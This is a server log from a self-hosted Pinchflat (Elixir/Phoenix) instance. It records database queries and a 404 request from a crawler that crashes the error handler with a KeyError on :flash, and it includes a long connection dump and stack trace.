queue=0.2ms idle=501.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:48.498 [info] Sent 200 in 6ms 23:13:48.993 [info] GET /sources/2/force_metadata_refresh 23:13:48.994 [debug] QUERY OK source="settings" db=0.6ms idle=498.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:48.994 [debug] QUERY OK source="settings" db=0.4ms idle=498.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:48.994 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:13:48.995 [error] #PID<0.3113.0> running PinchflatWeb.Endpoint (connection #PID<0.3112.0>, stream id 1) terminated Server: pinchflat.javi.fr:80 (http) Request: GET /sources/2/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3112.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "pinchflat.javi.fr", peer: {{172, 22, 0, 1}, 50992}, bindings: %{}, sock: {{172, 22, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "connection" => "upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTWpMUDQ0M3E5bmlkcXJPcFQyMldDMnhY.-EwCUakKdkVGo3G1Hyi-0r1BNWBjZSJ51ay1lx0eHNA", "host" => "pinchflat.javi.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.40", "x-forwarded-proto" => "https", "x-real-ip" => "216.73.216.40" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTWpMUDQ0M3E5bmlkcXJPcFQyMldDMnhY.-EwCUakKdkVGo3G1Hyi-0r1BNWBjZSJ51ay1lx0eHNA" }, halted: false, host: "pinchflat.javi.fr", method: "GET", owner: #PID<0.3113.0>, params: %{}, path_info: ["sources", "2", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.javi.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 22, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTWpMUDQ0M3E5bmlkcXJPcFQyMldDMnhY.-EwCUakKdkVGo3G1Hyi-0r1BNWBjZSJ51ay1lx0eHNA" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"connection", "upgrade"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTWpMUDQ0M3E5bmlkcXJPcFQyMldDMnhY.-EwCUakKdkVGo3G1Hyi-0r1BNWBjZSJ51ay1lx0eHNA"}, {"host", "pinchflat.javi.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.40"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "216.73.216.40"} ], request_path: "/sources/2/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJIWlCIcciJ1ktsAACkh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3112.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "pinchflat.javi.fr", peer: {{172, 22, 0, 1}, 50992}, bindings: %{}, sock: {{172, 22, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "connection" => "upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTWpMUDQ0M3E5bmlkcXJPcFQyMldDMnhY.-EwCUakKdkVGo3G1Hyi-0r1BNWBjZSJ51ay1lx0eHNA", "host" => "pinchflat.javi.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.40", "x-forwarded-proto" => "https", "x-real-ip" => "216.73.216.40" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3112.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "pinchflat.javi.fr", peer: {{172, 22, 0, 1}, 50992}, bindings: %{}, sock: {{172, 22, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "connection" => "upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTWpMUDQ0M3E5bmlkcXJPcFQyMldDMnhY.-EwCUakKdkVGo3G1Hyi-0r1BNWBjZSJ51ay1lx0eHNA", "host" => "pinchflat.javi.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.40", "x-forwarded-proto" => "https", "x-real-ip" => "216.73.216.40" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTWpMUDQ0M3E5bmlkcXJPcFQyMldDMnhY.-EwCUakKdkVGo3G1Hyi-0r1BNWBjZSJ51ay1lx0eHNA" }, halted: false, host: "pinchflat.javi.fr", method: "GET", owner: #PID<0.3113.0>, params: %{}, path_info: ["sources", "2", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Se (truncated) 23:13:49.020 [debug] Current batch of media processed. Will check again in 1000ms 23:13:49.107 [debug] Current batch of media processed. Will check again in 1000ms